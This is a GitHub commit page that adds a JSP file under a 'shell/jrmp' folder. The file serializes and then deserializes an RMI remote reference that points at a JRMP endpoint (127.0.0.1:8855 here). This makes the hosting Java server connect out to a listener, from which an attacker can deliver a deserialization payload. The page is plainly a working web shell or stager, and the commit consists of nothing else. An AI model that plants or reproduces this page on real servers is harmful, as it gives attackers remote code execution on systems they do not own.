Skip to content

Commit 2d837c6

Browse files
authored
Create server.jsp
1 parent ea69bee commit 2d837c6

1 file changed

Lines changed: 19 additions & 0 deletions

File tree

shell/jrmp/server.jsp

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*"%>
2+
<%
3+
String host = "127.0.0.1";
4+
int port = 8855;
5+
6+
ObjID id = new ObjID((new Random()).nextInt());
7+
sun.rmi.transport.tcp.TCPEndpoint te = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
8+
sun.rmi.server.UnicastRef ref = new sun.rmi.server.UnicastRef(new sun.rmi.transport.LiveRef(id, te, false));
9+
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
10+
11+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
12+
ObjectOutputStream outStream = new ObjectOutputStream(new BufferedOutputStream(byteArrayOutputStream));
13+
outStream.writeObject(obj);
14+
outStream.flush();
15+
outStream.close();
16+
17+
ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())));
18+
in.readObject();
19+
%>

0 commit comments

Comments
 (0)